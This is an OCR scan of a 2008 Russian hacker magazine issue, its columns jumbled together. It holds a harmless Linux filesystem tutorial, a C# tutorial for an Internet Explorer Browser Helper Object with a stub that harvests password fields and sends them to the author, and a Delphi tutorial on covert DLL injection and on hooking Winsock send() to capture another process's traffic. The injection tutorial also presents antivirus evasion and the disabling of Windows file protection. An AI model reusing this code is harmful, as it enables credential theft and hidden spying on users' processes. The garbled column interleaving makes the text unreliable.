карты блоков и индексных дескрипторов, а также таблицу Сам каталог таким же образом приписан к своему родитель- можно прочитать
индексных дескрипторов. скому каталогу. Корневой каталог всегда записан в индексный историю создания
Структуру системного блока можно найти в /usr/src/ дескриптор с номером «2» (номер «1» отведен для списка ад- линуксовых файловых
linux/include/linux/fs.h: ресов дефектных блоков). В каждом каталоге хранится ссылка систем.
на него самого и на его родительский каталог — это и есть псев-
struct super_block { доподкаталоги «.» и «..». Таким образом, количество ссылок на
struct_head s_list; // двусвязный спи- каталог равно количеству его подкаталогов плюс два!
сок всех смонтированных ФС Данные каталога представляют собой связный список с
unsigned long s_blocksize; записями переменной длины и выглядят примерно так, как
struct file_system_type *s_type; показано на рисунке 3.
struct super_operations *s_op; А как же файлы физических устройств? Они могут находиться в
struct semaphore s_lock; тех же каталогах, что и обычные файлы: в каталоге нет никаких

xàêåð 05 /113/ 08
097
>> unixoid

Рис.2. Структура файловой системы

# dd if=/dev/zero of=fs.img bs=1k count=30000


Рис. 1. Архитектура файловой системы
Команда dd читает данные из псевдоустройства /dev/zero и записывает
их в файл fs.img. В качестве данных будет поток нулей, причем не чисел
данных, говорящих о принадлеж- ноль (ANSI-код 48), а неотображаемых символов NULL (ANSI-код 0)! Данные
ности имени файлу на диске или читаются и записываются блоками по 1 Кб (bs=1k), а общее количество
устройству. Разница — на уровне блоков равно 30000. Таким образом, на выходе получаем файл размером
индексного дескриптора. Если ~30 Мб, заполненный символами NULL.
иноде обычного файла указывает Командой losetup превратим наш файл в блочное устройство:
на дисковые блоки, где хранятся его
данные, то в иноде файла устройст- # losetup /dev/loop0 fs.img
ва содержится указатель на список
драйверов устройств в ядре — тот Теперь мы можем обращаться к /dev/loop0, как к обычному блочному
элемент списка, который соответ- устройству (блочным называется устройство, обмен данными с которым
ствует старшему номеру устройства производится блоками, например, секторами диска).
(рис. 4). Создадим файловую систему на устройстве /dev/loop0 с помощью команды
mke2fs:
Монтирование
Чтобы получить доступ к файлам и # mke2fs -c /dev/loop0 30000
каталогам, находящимся на других
разделах жесткого диска или на Все готово для монтирования созданной файловой системы! Мы подмонти-
Рис.3. Структура каталога в ext3 других носителях, нужно примон- руем ее к каталогу /mnt/fs, который нужно создать заранее:
тировать их к корневой файловой
системе. Для монтирования фай- # mkdir /mnt/fs
ловой системы предназначена программа mount, для размонтирования # mount -t ext2 /dev/loop0 /mnt/fs
— umount. Общий формат вызова следующий:
После этого можно работать с каталогом /mnt/fs как с обычным каталогом
# mount — t тип_ФС устройство точка_монтирования файловой системы. Никаких ограничений нет. Внутри этого каталога мы
можем создать еще один пустой файл и тоже превратить его в файловую
После монтирования ФС добавляется в список смонтированных файловых систему, а затем подмонтировать.
систем в ядре: Для упрощения процесса вместо команды losetup можно применить
параметр '-o loop' команды mount, например:
struct vfsmount {
struct list_head mnt_hash; # mount -o loop -t ext2 fs.img /mnt/fs
struct vfsmount *mnt_parent;
struct dentry *mnt_mountpoint; Для размонтирования файла с файловой системой, как обычно, используем
struct dentry *mnt_root; umount:
struct super_block *mnt_sb;
struct list_head mnt_mounts; # umount /mnt/fs
struct list_head mnt_child;
atomic_t mnt_count; Далее следует удалить устройство /dev/loop0:
int mnt_flags;
char *mnt_devname; # losetup -d /dev/loop0
struct list_head mnt_list;
} Alcohol и UltraISO средствами Linux!
Теперь немного практики. Например, dd можно использовать не только для
Последняя структура mnt_list и есть список смонтированных файловых создания пустых файлов, но и для снятия образов с CD/DVD-дисков:
систем. Пользователь может просмотреть его в файле /etc/mtab.
# dd if=/dev/cdrom of=~/image.iso
Особые операции с файловой системой
Создать файловую систему Linux можно не только на физическом носителе Данная команда создаст образ CD-диска и запишет его в домашний каталог
данных, но и в обычном файле. Для начала нужно создать пустой файл: пользователя под именем image.iso.

098 xàêåð 05 /113/ 08


>> unixoid

подключает созданный своп-файл к системе. Можешь


ввести команду free, чтобы убедиться, что файл подкачки
подключен. Только не забудь добавить последнюю команду
в сценарии запуска системы, чтобы не вводить ее после
каждой перезагрузки.
links
Монтирование каталога к каталогу На Википедии
В Linux можно подмонтировать каталог к каталогу, а не только (ru.wikipedia.org)
каталог к устройству. Делается это с помощью все той же можно найти кучу
команды mount, но запущенной с параметром '--bind': материалов, посвя-
щенных файловым
# mount --bind исходный_каталог каталог_на- системам. Для поиска
Рис. 4. Разница между обычным файлом и файлом устройства значения используй ключевые
слова: ext2, ext3,
Изменение корневой файловой системы reiserfs, fuse, sshfs.
Затем можно обратиться к файлам созданного образа без за- Linux позволяет изменять корневую файловую систему.
писи его на болванку. Для этого нужно подмонтировать исошку Предположим, ты загрузился с LiveCD и теперь нужно подклю-
к корневой файловой системе (каталог /mnt/fs должен чить корневую файловую систему так, чтобы все изменения,
существовать): производимые вводимыми командами, относились именно к
корневой файловой системе на жестком диске, а не к корневой
# mount -o loop -t iso9660 ~/image.iso /mnt/fs файловой системе LiveCD. И вот, как это сделать:

Теперь ты можешь работать с /mnt/fs, как с обычным ката- # chroot точка_монтирования


логом.
Но работа с ISO-образами — не единственное применение Например:
loop-устройств. Может случиться так, что после установки сис-
темы окажется, что оперативной памяти не хватает. Покупать # chroot /mnt/newroot
дополнительный модуль памяти не хочется, а переразбивать
жесткий диск с целью увеличения размера раздела подкачки Восстановление загрузчика GRUB: пошаго-
— тем более. Можно создать пустой файл, отформатировать вое руководство
его как файл подкачки и подключить к системе: После переустановки Windows внедрила в MBR свой загруз-
чик, и теперь нельзя загрузить Linux? Не переустанавливать
# mkdir /swap же еще и Linux из-за такой мелочи! Для восстановления за-
# dd if=/dev/zero of=/swap/sw-file bs=1k грузчика GRUB бутимся с любого LiveCD и вводим следующие
count=262144 команды:
# mkswap /swap/sw-file 262144
# swapon /swap/sw-file # mkdir -p /old/dev
# mount /dev/sdaX /old
Первая команда создает пустой файл размером 256 Мб. # mount --bind /dev /old/dev
Вторая — форматирует его как своп. Для Linux нет особой # chroot /old
разницы, с чем работать — с файлом или с блочным # /sbin/grub-install /dev/sda
устройством. Ты запросто можешь отформатировать # reboot
обычный файл в любую файловую систему. Третья команда
Вместо заключения
К сожалению, мы рассмотрели далеко не все
возможности файловой системы Linux. В
частности, не были рассмотрены права дос-
тупа, квотирование, практически ничего не
сказано о создании ссылок. Все это темы для
отдельного разговора, а пока, если у тебя есть
вопросы/комментарии/пожелания, можешь
обращаться по адресу [email protected]. z

Рис 5. Создание и монтирование файла с файловой системой Рис 6. Создание и подключение своп-файла

xàêåð 05 /113/ 08
099
>> coding

Александр Эккерт
/ [email protected] /

Реальная
помощь
домохозяйкам
Учимся кодить модули поддержки обозревателя

Полезная вещь — BHO. Большое количество коммерческих программ — от


менеджеров закачки до словарей-переводчиков — так или иначе требую-
щих доступ к браузеру, встраивают своих помощников в Internet Explorer.
В статье мы расскажем, как средствами C# и Microsoft Visual Studio создать
собственный модуль. Естественно, с немного хакерскими функциями.

COM — Component Object Model новым фундаментом, на котором выстроены конструкции OLE. Однако OLE
Спектр возможного применения BHO огромен — от простого шпионского — первая система на основе СОМ, и как любой первый блин, представляет
модуля, который отслеживает вводимые данные, до подмены содержимого собой не лучший пример использования его возможностей. По ряду причин
веб-страниц и перенаправления запросов пользователя. Ему позволено OLE заслужил репутацию сложного, медленного и трудного для программи-
практически все! Но сначала — теория. рования аппарата. Впрочем, это, скорее, недостатки реализации, а не СОМ.
Технология СОМ разрабатывалась, чтобы сделать приложения более СОМ — больше, чем просто спецификация. В СОМ есть API; это библиотека,
гибкими и настраиваемыми. Первоначальной целью была поддержка предоставляющая сервисы управления компонентами. Если ты разрабаты-
концепции, известной как связывание и внедрение объектов (object linking ваешь компоненты в стиле СОМ не для Windows, то большинство функций
and embedding). Реализация, созданная в Microsoft, получила название этого API несложно реализовать самостоятельно. Библиотека СОМ создана,
OLE. Первая версия OLE для связи между клиентом и компонентом исполь- чтобы гарантировать единообразное выполнение всеми компонентами
зовала динамический обмен данными (dynamic data exchange — DDE). В наиболее важных операций. Она экономит время разработчикам, создаю-
OLE 1 не было СОМ, DDE был построен на основе архитектуры передачи щим собственные компоненты и клиенты. Большая часть кода в библиотеке
сообщений Windows. Лучшее, что можно сказать об OLE 1, это то, что он все СОМ служит для поддержки распределенных или сетевых компонентов.
же работает — более или менее. Во-первых, DDE медлителен. Во-вто- Реализация распределенной СОМ (Distributed COM, DCOM) в системах
рых, написать корректно работающий код DDE сложно. Вдобавок, DDE не Windows предоставляет код, необходимый для обмена информацией с ком-
отличается надежностью и гибкостью. Другими словами, рано или поздно понентами по сети. Это избавляет нас не только от необходимости писать
должны были изобрести что-нибудь получше. такой код, но и от необходимости знать, как это делать!
Решением стала СОМ — меньше, быстрее, гибче, надежнее, чем DDE. Вторая Самое главное в СОМ — это интерфейсы. Через них клиент взаимодейству-
версия OLE была переписана с использованием СОМ, и именно СОМ стала ет с компонентом. Они похожи на элементы каркаса сборного дома — кар-

100 xàêåð 05 /113/ 08


>> coding

кас задает структуру, без которой крыша и стены не защитят нальность. В нашем проекте, кроме определений методов
жителей. Если мы не трогаем каркас, дом остается «струк- GetSite и SetSite, нужно предусмотреть реализацию
турно» тем же самым. Замена стен влияет только на внешний метода OnDocumentComplete. Эта функция является частью
вид. Аналогично этому, замена компонентов может изменить класса CDHtmlDialog и вызывается при завершении загруз-
поведение приложения, но не его архитектуру. ки страницы (подробности смотри на http://msdn2.microsoft. links
Одно из самых больших преимуществ компонентной модели com). Также добавим две переменные — WebBrowser и Тема создания BHO
— возможность повторного использования архитектуры HTMLDocument. Они позволят получить доступ к содержимому широко обсужда-
приложения. Просто разрешив заменять некоторые ключевые веб-страницы. ется на форумах
компоненты, мы добиваемся того, что одна и та же архитектура Теперь очень важный шаг — чтобы получить возможность realcoding.net,
может поддерживать несколько различных приложений. аттачиться к IE, нужно указать ссылку на GUID интерфейса gotdotnet.ru и, ко-
«Причем тут BHO?», спросишь ты. Дело в том, что BHO, IObjectWithSite — FC4801A3-2BA9-11CF-A229- нечно же, MSDN.
который мы хотим написать, и есть СОМ-объект, реализующий 00AA003D7352. Обычно он прописывается в этих двух ветках
интерфейс IObjectWithSite и подключающийся к Internet реестра: HKEY_CLASSES_ROOT\Interface\{FC4801A3-
Explorer. Наш продукт будет воспринимать Intrenet Explorer 2BA9-11CF-A229-00AA003D7352} и HKEY_LOCAL_
всего лишь как набор интерфейсов, которые и нужно реализо- MACHINE\SOFTWARE\Classes\Interface\{FC4801A3-
вать в нашей программе. 2BA9-11CF-A229-00AA003D7352}.
И это же надо сделать при описании интерфейса
Что такое BHO? IObjectWithSite путем добавления атрибута [ComVisible(true)].
Если в двух словах, то объект BHO является компактным Добавив GUID к описанию, добавим то же самое, но уже dvd
расширением в виде DLL-библиотеки, дополняющим обо- в код самого BHO. Затем описываем функциональность На диске ты найдешь
зреватель Internet Explorer пользовательскими функциями методов GetSite и SetSite. Реализация этих методов написанный на C#
(менее распространен случай, когда их добавляют к оболочке проста: вариант реализации
Windows Shell). BHO.
Как правило, объекты BHO не имеют собственного поль- Метод GetSite
зовательского интерфейса и существуют в виде простой public int GetSite(
библиотеки, которую IE подгружает при старте. BHO работают ref Guid guid,
в бэкграунде, реагируя на события обозревателя и действия out IntPtr ppvSite)
пользователя. Например, могут блокировать всплывающие {
окна, автоматически заполнять формы или реагировать IntPtr pointer =
на движения мыши. Типичным является заблуждение, что Marshal.GetIUnknownForObject(webBrowser);
объекты BHO требуются для создания расширений панели int face = Marshal.QueryInterface( info
инструментов (тулбаров). Тем не менее, в сочетании с ними pointer, ref guid, out ppvSite); Программирование
ВНО может предоставить пользователю расширенные воз- Marshal.Release(pointer); BHO советую начать
можности. return face; с изучения COM,
Объекты BHO удобны и для разработчиков — время жизни } например, с книги
объекта BHO совпадает со временем жизни экземпляра обоз- Дейла Роджерсона
ревателя, с которым он взаимодействует. В Internet Explorer В приведенной выше функции GetIUnknownForObject «Основы COM»: www.
6 и более ранних версиях это означает создание нового объек- мы получаем описатель интерфейса IUnknown для нашего podgoretsky.com/
та BHO (и его уничтожение) для каждого окна верхнего уровня, браузера. Осталось только добавить идентификатор CLSID classics.html.
а в Internet Explorer 7 — для каждой вкладки. Объекты BHO объекта BHO в реестр. Эта запись описывает библиотеку DLL
не загружаются другими приложениями, которые используют как объект модуля поддержки обозревателя и заставляет
элемент управления WebBrowser, или окнами, использующи- обозреватель IE загружать объект BHO при запуске. Среда
ми HTML (например, диалоговыми окнами). Visual Studio может зарегистрировать идентификатор CLSID
Итак, поехали... во время сборки проекта. Запомни: все BHO для Internet
Explorer регистрируются вот в этой ветке реестра: HKEY_
Создаем BHO LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\
Основное требование к объекту BHO — наличие реализации CurrentVersion\Explorer\Browser Helper
интерфейса IObjectWithSite. Этот интерфейс предостав- Objects.
ляет метод SetSite, который обеспечивает первоначальный
обмен информацией с Internet Explorer и уведомляет объект
BHO о подготовке к освобождению (free). Создав простое
расширение для обозревателя с помощью этого интерфейса,
мы добавим идентификатор CLSID объекта BHO в реестр.
Для начала создадим новый проект Class Library в VS. Не
забудь добавить к проекту ссылки на две внешние библиотеки
— SHDocVw и MSHTML ( SHDocVw — путем добавления биб-
лиотеки shdocvw.dll, которая лежит в папке %systemroot%/
system32). Кроме этого нужно подключить дополнительное
пространство имен System.Runtime.InteropServices и
Microsoft.Win32.
Наш BHO будет состоять из двух раздельных классов — пер-
вый (bugaga) содержит в себе определение интерфейса
IObjectWithSite (в свою очередь, включает прототипы
двух функций — GetSite и SetSite) и второй (functional),
который будет реализовывать всю необходимую функцио- Регистрация сборки при помощи утилиты RegAsm

xàêåð 05 /113/ 08
101
>> coding

Созданный нами CLSID Все работает!

Делаем это так: добавляем еще одну функцию register для регистрации BHO {
и перед ней ставим атрибут [ComRegisterFunction]. Далее запускаем document = (mshtml.HTMLDocument)webBrowser.Document;
утилиту RegAsm.exe с ключом /codebase. Она зарегистрирует нашу foreach(mshtml.IHTMLInputElement el
сборку и — вуаля! — в вышеуказанном ключе реестра появляется строка с in document.getElementsByTagName("input"))
CLSID. Это и есть наш BHO! {
Маленькое лирическое отступление: если ты собираешься использовать if(el.type.ToLower() == "password")
BHO для своих грязных целей, имей в виду, все антивири и файры посто- //шлем пароль мне...
янно отслеживают запись в указанную ветку реестра. Поэтому регистра- }
ция BHO в системе — вещь крайне шумная и неудобная. }

Тырим пароли... Вот и все! Созданный нами BHO невелик в размере, но вполне работоспо-
Для более полного контроля за действиями пользователя необходимо будет собен. В принципе, в создании BHO нет ничего сложного, главное — иметь
реализовать обработку событий класса WebBrowser, например события представление о работе COM-компонентов.
onBeforNavigate2.
Код, который будет собирать пароли с форм веб-страниц, может выглядеть Заключение
так: Логично предположить, что BHO популярны как среди добрых и чест-
ных разработчиков, которым требуется расширение функциональности
public void OnBeforNavigate2 (ref objectTargetFrameName, обозревателя, так и среди недобрых дяденек хакеров, которые пытаются
ref object PostData, поставить под контроль твои действия в интернете. На диске ищи готовый
ref object Headers, код BHO, который, проявив смекалку, можешь без проблем расширить под
ref bool Cancel) свои замыслы. Enjoy! z

Добавляем GUID Добавлям shdocvw.dll

102 xàêåð 05 /113/ 08


>> coding

Игорь Антонов
/ vr-online.ru /

Функциональная
шпиономания
Краткий курс перехвата функций в Delphi

В одном из номеров нашего журнала в рубрике FAQ был задан вопрос: «Как
можно перехватить данные, отправляемые сетевым приложением?». В от-
вет Step порекомендовал использовать функцию WinSock hook из пакета се-
тевых утилит — IP Tools. Возможности WinSock hooker мне настолько понра-
вились, что я решил написать свой вариант подобной программы. И в этой
статье хочу поделиться с тобой опытом, полученным при разработке.

Теория щем. В таблице импорта PE-файлов содержатся адреса всех импортируе-


Начнем с теории, которую, правда, и так знает большинство наших мых функций. Для перехвата необходимо пробежаться по этой табличке,
читателей. Все API-функции определены в динамических библиотеках. найти адрес функции, которую мы будем перехватывать, и поменять его
Сразу возникает вопрос: «Откуда приложение знает, в какой библиоте- на адрес функции, определенной нами. Совершив эту нехитрую манипу-
ке объявлена нужная функция?». Ответ прост — в любом PE-файле есть ляцию, мы сможем обрабатывать все вызовы перехватываемой функции.
область, называемая таблицей импорта. В ней перечислена информа- Несмотря на простоту реализации, нас подстерегает несколько досадных
ция обо всех импортированных функциях, необходимых для корректной огорчений. Самое главное, что не все функции могут вызываться через
работы. Загрузчик PE считывает эту инфу и подгружает необходимые таблицу импорта.
библиотеки в адресное пространство процесса программы. Например, 2. Модификация кода системной функции. Для реализации этого спо-
чтобы узнать список всех DLL, подгруженных в адресное пространство соба необходимо «пропатчить» перехватываемую функцию, а именно
процесса, можно воспользоваться утилитой от Марка Руссиновича записать в самом ее начале переход на подставную функцию. Тогда все
«Process Explorer». Взгляни на рисунок, на нем отображен список DLL обращения к оригиналу будут попадать на функцию-подставу. Тут важно
процесса Opera.exe. не забыть сохранять значение перезаписываемого участка памяти,
Обрати внимание на выделенную в нижней части окна «Process иначе можно попрощаться с корректной работой приложения жертвы.
Explorer» библиотеку DLL с именем WS2_32.dll. В ней определен весь У метода есть как плюсы, так и минусы. Из достоинств можно выделить
набор сетевых функций WinSock API второй версии. Одну из функций возможность перехвата абсолютно любых функций, то есть не только тех,
этой библиотеки нам предстоит сегодня научиться перехватывать. В что определены в таблице импорта. Среди минусов — вероятность появ-
перехвате нет ничего нетривиального. Все, что требуется от програм- ления ошибок в многопоточных приложениях. Хотя при наличии головы
миста, так это заставить процесс жертвы обращаться не к системной на плечах это достаточно легко обходится. В качестве способа лечения
функции, а к нашей — подставной. Дальше остается только командовать. подходит банальная остановка всех потоков приложения и их запуск
Перехватить API-функции можно несколькими способами. Вот самые после установки перехвата. Перехват API удобнее всего осуществлять в
популярные: контексте процесса «жертвы», поэтому необходимо внедрить свой код в
1. Редактирование таблицы импорта. Наверное, способ является самым удаленный процесс. Существует несколько «устаканившихся» вариантов
известным и уж точно самым простым. Суть метода заключается в следую- вторжения в чужие процессы:

104 xàêåð 05 /113/ 08


>> coding

Промежуточное тестирование Вот они, все DLL процесса

1. Внедрение образа своего процесса. Позволяет целиком внедрить начинают нервно курить и не замечать черных дел твоей программы.
свое приложение в чужое адресное пространство. Удобство такого • Внедрение произвольного exe-файла. Осуществляется при помощи
способа в том, что можно обойтись без всяких лишних DLL, повы- функции InjectExe().
сив скрытность. Даже если жертва воспользуется утилитами вроде
ProcessExplorer, то не увидит ничего необычного. function InjectExe(Process: dword;
2. Внедрение подготовленной DLL. Этот вариант можно назвать Data: pointer): boolean;
классическим. Для его реализации нужно создать DLL, в которой будет
организован один из способов перехвата, и приложение, которое будет Для работы функции требуется передать два параметра:
инжектировать ее в нужный процесс. Один из минусов я уже озвучил, 1. Дескриптор (handle) процесса, в который будем внедряться.
поэтому перейду сразу к плюсам. Главный плюс состоит в возможности 2. Адрес образа файла в текущем процессе.
прописывания DLL в реестре, после чего она будет автоматически загру- • Инъекция образа текущего процесса. Функция InjectThisExe()
жаться. В результате исключается необходимость в написании програм- будет полезна, когда не хочется или нет возможности юзать библиотеки
мы для внедрения DLL. DLL. Описание функции и параметров приводить не стану, так как они
У многих может сложиться впечатление, что перехват — дело объемное стандартные и ничем не отличаются от описания предыдущей.
и сложное. Действительно, реализовать метод внедрения и перехвата • Внедрение в процесс процедуры.
— задача не самая простая, но Delphi программистам сильно повезло. С
легкостью организовать перехват функций и внедриться в чужой процесс function InjectThread(Process: dword; Thread: pointer;
поможет модуль advHookApi, написанный гениальным программером Info: pointer; InfoLen: dword;
Ms-Rem. Модуль спроектирован качественно, все функции удобно Results: boolean): THandle;
описаны, код оформлен красиво. Единственное разочарование в том, что
сегодня уже нельзя выразить респект автору. Этот человек мертв. Очень У функции пять входных параметров: 1. Process — дескриптор процесса.
грустно, что гениальных людей так рано забирает смерть. 2. Thread — указатель на процедуру, которую будем внедрять. 3. Info — ад-
рес данных для процедуры. 4. InfoLen — размер передаваемых данных.
Хакерский модуль 5. Results — необходимость возврата результата (если true, то функция
Итак, давай посмотрим, какими возможностями может похвастаться дан- вернет переданные данные).
ный модуль. 2. Перехват Windows API. В модуле определено две функции для установки
1. Внедрение кода в удаленный процесс. Выше я рассказывал о нескольких перехвата:
вариантах внедрения своего кода в адресное пространство чужого процес-
са. В advHookAPI реализованы следующие методы: function HookCode(TargetProc, NewProc: pointer;
• Внедрение DLL в чужой процесс. Метод реализуется с помощью функции var OldProc: pointer): boolean;
InjectDll(), которая описана следующим образом:
Первая устанавливает перехват нужной функции. В качестве параметров
function InjectDll(Process: dword; ModulePath: PChar): просит: 1. TargetProc — адрес перехватываемой функции. 2. NewProc
boolean; — адрес функции, которая будет вызываться вместо перехватываемой. 3.
OldProc — переменная, в которой будет сохранен адрес моста к ориги-
В качестве параметров нужно передать дескриптор процесса, в который бу- нальной функции (пригодится, когда потребуется остановить перехват и
дем внедрять dll, и путь к самой библиотеке. В случае успешного внедрения вернуть все на место). Для перехвата функций, экспортируемых из DLL в
результат будет true. текущем процессе, предусмотрена отдельная функция:
• Скрытое внедрение DLL. Функция InjectDllEx() внедряет DLL и
производит шаманские действия над образом Dll в памяти. После таких function HookProc(lpModuleName, lpProcName: PChar;
настроек многие программы (антивирусы, персональные firewall) NewProc: pointer; var OldProc: pointer): boolean;

xàêåð 05 /113/ 08
105
>> coding

Входных параметров четыре: 1. Имя модуля (DLL). 2. Имя функции; будь вроде TerminateProceess() не помогают. Для устранения про-
внимателен, регистр в указании имени функции играет роль. 3. Указа- блемы принято использовать так называемые отладочные функции.
тель на функцию-замену. 4. Адрес к оригинальной функции. Сначала процесс переводится в отладочный режим, а потом уничто-
Перехватывать функцию без передышки не имеет смысла, поэтому жается. Таким образом можно завершить практически любой «вред-
рано или поздно нужно останавливать процесс перехвата. Для этого в ный» процесс. Автор AdvApiHook реализовал простую надстройку для
AdvApiHook реализована функция UnhookCode(), которая в качестве завершения процесса через отладочный режим:
единственного параметра принимает указатель на адрес моста к ориги-
нальной функции. function DebugKillProcess(ProcessId: dword):Boolean;
3. Полезные функции. Помимо необходимых функций для перехвата API
или внедрения кода, в модуле есть несколько функций, которые обяза- В качестве единственного параметра функции нужно передать pid процес-
тельно пригодятся системным программистам. са. В случае успешного завершения процесса функция вернет true.
• Отключение защиты системных файлов. В ОС Windows, базирующихся Довольно теории, пора переходить к практике. Сейчас я расскажу, как
на ядре NT, нельзя просто взять и изменить системные файлы — защита написать приложение для перехвата функции send(). Для начала создай
System File Protection трогать их не даст. Для решения этой задачи в в Delphi новый проект и нарисуй форму, хотя бы отдаленно похожую на мою.
модуле определена функция DisableSFC(). Передавать параметры ей Как закончишь творческую часть, вставляй наш DVD-диск, копируй с него
не требуется. В качестве результата возвращает булевское значение. модуль AdvApiHook и немедленно подключай к своему проекту.
• Завершение процесса через режим отладки. Наверняка, ты сталки- Первое, что необходимо сделать — научить программу получать спи-
вался с процессами, которые тяжело «убить». Стандартные функции сок всех запущенных процессов и их дескрипторов. Все данные будут

Код DLL SendData('', 10, addr(string(buf)), len);


result:=_pOldSend(s,buf,len,flags);
end;
library project1;
procedure DLLEntryPoint(dwReason: DWord);
uses Windows, advApiHook, Messages, SysUtils; begin
case dwReason of
type DLL_PROCESS_ATTACH:
TSocket=integer; begin
TSendProcedure=function (s: TSocket; var Buf; SendData('Библиотека загружена. Начинается под-
len, flags: Integer): Integer; stdcall; готовка к перехвату...', 30, nil, 0);
_hinst:=GetModuleHandle(nil);
var StopThreads;
_pOldSend: TSendProcedure; HookProc('WS2_32.dll','send',
_hinst, _h:integer; @xSend,@_pOldSend);
SendData('Подмена функций завершилась успехом!',
procedure SendData(data:string; funcType:integer; 30, nil, 0);
Buff:pointer; len:integer); RunThreads;
var end;
d:TCopyDataStruct; DLL_PROCESS_DETACH:
begin begin
case funcType of SendData('Снимаем перехват...', 30, nil, 0);
10: UnhookCode(@_pOldsend);
begin end;
d.lpData := Buff; end;
d.cbData := len; end;
d.dwData := 10;
end;
30: begin
begin _h:=findwindow(nil,'WinSock Sniffer');
d.lpData := pchar(data); if (_h = 0) then
d.cbData := length(data); begin
d.dwData := 30; MessageBox(0, 'Не найдено окно клиентской части
end; программы!', 'Ошибка!', 0);
end; ExitThread(0);
SendMessage(_h, WM_COPYDATA, 0, LongInt(@d)); end;
End; DllProc := @DLLEntryPoint;
DLLEntryPoint(DLL_PROCESS_ATTACH);
function xSend(s: TSocket; var Buf; end.
len, flags: Integer): Integer; stdcall;
begin

106 xàêåð 05 /113/ 08


>> coding

Хакерский модуль. Написан мастером Смотрим таблицу импорта

отображаться в компоненте ListView. Именно из этого списка мы все кажется сложным и запутанным, но на деле все просто. Создавай в
будем выбирать процесс-жертву. Для получения списка текущих про- Delphi новый проект типа DLL и потихоньку перекатывай в него бездуш-
цессов существует несколько способов. Рассмотрим наиболее простой ные строчки кода из врезки «Код DLL».
из них — использование модуля tlHelp32, входящего в стандартную Рассматривать приведенный код лучше всего с процедуры
поставку Delphi. Ради получения процессов я завел отдельную про- DLLEntryPoint. Именно в ней происходит реакция на события,
цедуру — GetAllProcess(). Ее код ты увидишь на врезке. В самом связанные с DLL (загрузка/выгрузка библиотеки). Во время загрузки
начале процедуры я вызываю функцию EnableDebugPrivilige(). библиотеки возникает событие DLL_PROCESS_ATTACH. Для нас это
Функция эта самописная и ее вид ты можешь посмотреть, открыв знак к установке перехвата. Перед тем, как установить его, я отправляю
исходники с диска. Скажу лишь, что она требуется для получения
отладочных привилегий. С ними появляется возможность получать
handle даже у системных процессов. Если функция вернула false, то
я просто сообщаю об этом в лог и продолжаю выполнение процедуры.
Получение списка процессов сводится к нескольким шагам. Первый Та самая процеду-
этап знаменуется использованием API функции CreateToolHelp32
SnapShot(). Она получает снимок объектов, определенных в первом
параметре. Я указал константу TH32CS_SNAPPROCESS, которая
ра GetAllProcess()
подразумевает получение снимка одних лишь процессов, так как для var
сегодняшнего примера этого вполне достаточно. Помимо процессов _SnapList : THandle;
ты можешь получить: _ProcEntry : TProcessEntry32;
• TH32CS_SNAPTHREAD — снимок потоков; begin
• TH32CS_SNAPMODULE32 — список загруженных модулей; if NOT (EnableDebugPrivilege()) Then
• TH32CS_SNAPALL — включает в снимок все процессы, модули, потоки. begin
Если функция CreateToolHelp32SnapShot() выполнилась успешно, reLog.SelAttributes.Color := clMaroon;
значит, нужно пробежаться по списку полученных объектов и вывести их в reLog.Lines.Add('Не удалось получить привилегии
ListView. Для «пробежки» я использую функции Process32First() и отладчика!');
Process32Next(). Параметры у обеих функций одинаковые: end;
1. Снимок объектов, который был получен в результате CreateToolH lvProcessList.Items.Clear;
elp32SnapShot(). 2. Структура типа TProcessEntry32, в кото- _ProcEntry.dwSize := SizeOf(TProcessEntry32);
рую будет записана информация о каждом найденном объекте. После _SnapList := CreateToolHelp32SnapShot(
выполнения Process32First() в переменную, которую мы указывали TH32CS_SNAPPROCESS, 0);
во втором параметре, будет помещена информация о первом процессе if (Process32First(_SnapList, _ProcEntry)) Then
из снимка. Для перехода к следующему процессу вызывается функция begin
Process32Next(). Repeat
Итак, список процессов у нас есть. Повесь вызов GetAllProcess() на with lvProcessList.Items.Add Do begin
событие OnCreate формы и запусти программу. Если ты не допустил в лис- Caption :=IntToStr(_ProcEntry.th32ProcessID);
тинге ошибок, то после запуска ListView должен заполниться списком SubItems.Add(ExtractFileName(
процессов. _ProcEntry.szExeFile));
end;
Делаем захват Until not (Process32Next(_SnapList,
Теперь, когда у нас есть список процессов, можно приступать к реали- _ProcEntry));
зации самой главной части — перехвату функций. Перехватывать их end;
удобнее всего из библиотеки DLL. Принцип такой: внедряем библио- CloseHandle(_SnapList);
теку в чужой процесс и методом сплайсинга делаем перехват. Сейчас end;

xàêåð 05 /113/ 08
107
>> coding

Форма нашего перехватчика Программа в действии

клиенту (основному приложению) информацию о текущей ситуации. send() будет вызывать xsend(). Целью статьи было показать, как можно
В своем примере я передавал целые строки, но на практике лучше перехватывать данные, передаваемые каким-либо сетевым приложением,
отправлять коды событий/ошибок, определить которые можно заранее. поэтому в подставной функции я просто передаю буфер с данными. Таким
Процесс передачи инфы из DLL в основную программу осуществляется образом, мы получаем то, что хотели, а приложение-жертва, ни о чем не
с помощью самописной функции SendData(). В теоретической части догадываясь, продолжает выполнять свою работу. Установив перехват,
статьи я описывал минусы перехвата методом сплайсинга. Как ты пом- нужно запустить остановленные ранее потоки. Для восстановления работы
нишь, они заключались в потоках. Решение проблемы также было озву- потоков я использую функции RunThreads(), которой также не требуются
чено — это временная остановка всех потоков. Для остановки потоков параметры.
чужого процесса в модуле AdvAPIHook есть функция StopThreads().
Параметров она не требует. Остановив потоки, можно устанавливать Тестируем
перехват. Для этого я использую функцию HookProc(). В качестве Можно считать, что простейший пример перехвата сетевых функций готов.
параметров передаю ей: Точнее, реализован процесс перехвата одной лишь функции — send().
1. Имя библиотеки, в которой объявлена перехватываемая функция. Пос- Перехват остальных ты сможешь реализовать самостоятельно, тем более
кольку в примере меня интересовала лишь функция send(), то я указал что принцип будет полностью таким же. Перед тем, как мы начнем тести-
W32_32.dll (именно в этой библиотеке определены все функции второй ровать, откомпилируй библиотеку и вернись к нашему основному проекту.
версии WinSock API). Создай обработчик события OnClick() для кнопки, по нажатию которой
2. Название функции. В примере я указал «send». Это самая распростра- мы будем внедрять библиотеку, и перепиши в него код из врезки «Обработ-
ненная функция для отправки данных по сети, ее используют практически чик OnClick()». Я не буду расписывать этот код целиком, так как в нем нет
все приложения. Обрати внимание на регистр, используемый в написании ничего сложного. Все, что там происходит — получение handle процесса
имени функции. Имя функции полностью состоит из маленьких букв. Не по его pid и внедрение созданной нами библиотеки с помощью функции
обратишь на это внимание — попадешь на отладку таинственных ошибок InjectDll(), описание которой я уже приводил.
«Access Violаtion». В качестве теста я решил перехватить данные, которые отправляет всем
